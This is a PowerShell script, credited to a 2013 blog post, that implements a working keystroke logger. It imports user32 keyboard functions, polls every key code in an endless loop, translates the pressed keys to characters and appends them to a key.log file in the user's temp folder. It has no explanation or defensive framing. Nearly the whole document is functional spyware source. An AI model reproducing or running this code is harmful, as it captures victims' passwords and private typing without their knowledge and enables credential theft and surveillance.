powershell-keylogger.ps1

<#
PowerShell keystroke logger by shima
http://vacmf.org/2013/01/23/powershell-keylogger/
#>
function KeyLog {
	
	# MapVirtualKeyMapTypes
	# <summary>
	# uCode is a virtual-key code and is translated into a scan code.
	# If it is a virtual-key code that does not distinguish between left- and
	# right-hand keys, the left-hand scan code is returned.
	# If there is no translation, the function returns 0.
	# </summary>
	$MAPVK_VK_TO_VSC = 0x00
	
	# <summary>
	# uCode is a scan code and is translated into a virtual-key code that
	# does not distinguish between left- and right-hand keys. If there is no
	# translation, the function returns 0.
	# </summary>
	$MAPVK_VSC_TO_VK = 0x01
	
	# <summary>
	# uCode is a virtual-key code and is translated into an unshifted
	# character value in the low-order word of the return value. Dead keys (diacritics)
	# are indicated by setting the top bit of the return value. If there is no
	# translation, the function returns 0.
	# </summary>
	$MAPVK_VK_TO_CHAR = 0x02
	
	# <summary>
	# Windows NT/2000/XP: uCode is a scan code and is translated into a
	# virtual-key code that distinguishes between left- and right-hand keys. If
	# there is no translation, the function returns 0.
	# </summary>
	$MAPVK_VSC_TO_VK_EX = 0x03
	
	# <summary>
	# Not currently documented
	# </summary>
	$MAPVK_VK_TO_VSC_EX = 0x04
	
	$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
'@

	$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@

	$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@

	$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

	$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
	$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
	$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
	$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru

	while ($true) {
		Start-Sleep -Milliseconds 40
		$gotit = ""
		
		for ($char = 1; $char -le 254; $char++) {
			$vkey = $char
			$gotit = $getKeyState::GetAsyncKeyState($vkey)
			
			if ($gotit -eq -32767) {
			
				$l_shift = $getKeyState::GetAsyncKeyState(160)
				$r_shift = $getKeyState::GetAsyncKeyState(161)
				$caps_lock = [console]::CapsLock
				
				$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
				
				$kbstate = New-Object Byte[] 256
				$checkkbstate = $getKBState::GetKeyboardState($kbstate)
				
				$mychar = New-Object -TypeName "System.Text.StringBuilder";
				$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
				
				if ($unicode_res -gt 0) {
					$logfile = "$env:temp\key.log"
					Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject $mychar.ToString()
				}
			}
		}
	}
}

KeyLog